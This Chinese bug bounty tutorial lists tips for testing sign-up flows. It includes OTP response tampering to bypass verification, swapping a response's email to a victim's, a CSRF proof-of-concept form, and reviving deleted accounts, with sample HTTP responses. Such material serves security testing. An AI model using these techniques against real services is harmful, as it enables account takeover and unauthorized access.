查看原文
其他

漏洞赏金猎人系列-如何测试注册(Sign up)功能(V)以及相关Tips

Richardo1o1 迪哥讲事 2023-07-11

漏洞赏金猎人系列-如何测试注册(Sign up)功能(V)以及相关Tips

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

正文

本文为本系列的最后一篇,梳理了SignUp最后几种测试方法(tips);

前面相关的文章有:

注册功能测试小结

赏金猎人系列-如何测试注册(Sign up)功能

赏金猎人系列-如何测试注册(Sign up)功能以及相关Tips

漏洞赏金猎人系列-如何测试注册(Sign up)功能(IV)以及相关Tips

第三十一种方法

如果你可以用手机号码注册,服务器将询问你关于OTP(验证码)的问题,所以试着弄清楚OTP是否会过期,如果没有,这里就可能有问题


HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
"status" : 1 ,
"message" : "OTP Matched Successfully" }

第三十二种方法

如果可以使用手机号码注册,服务器将验证OTP,所以尝试操纵响应,尝试输入错误的号码

然后将status中0变为1,message所对应的Invalid OTP value变为OTP Matched Successfully


HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
"status" : 1 ,
"message" : "OTP Matched Successfully"
}

第三十三种方法

在拦截注册请求的响应时,尝试改变响应中的UUID,例如ID、电子邮件或电话,将其变为所对应的受害者账户的UUID。


HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
"email" : "victim@gmail.com" , "redirect" : "/dashboard"
}

第三十四种方法

如果没有CSRF令牌或Anti-CSRF,尝试创建CSRF POC


<html>
<body>
<form method="POST" action="https://www.company.com">
<input type="text" value="me@gmail.com" name="email">
<input type="text" value="Secrete" name="password">
<input type="submit" value="Click">
</form>
</body>
</html>

第三十五种方法

通过注册与之关联的旧电子邮件地址,从删除的帐户中检索数据

参考

https://hackerone.com/reports/792295

https://amitp200.medium.com/how-i-bypass-otp-verification-in-account-registration-process-ce698654a7af

https://hackerone.com/reports/994504

https://twitter.com/intigriti/status/1080835652860764160


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存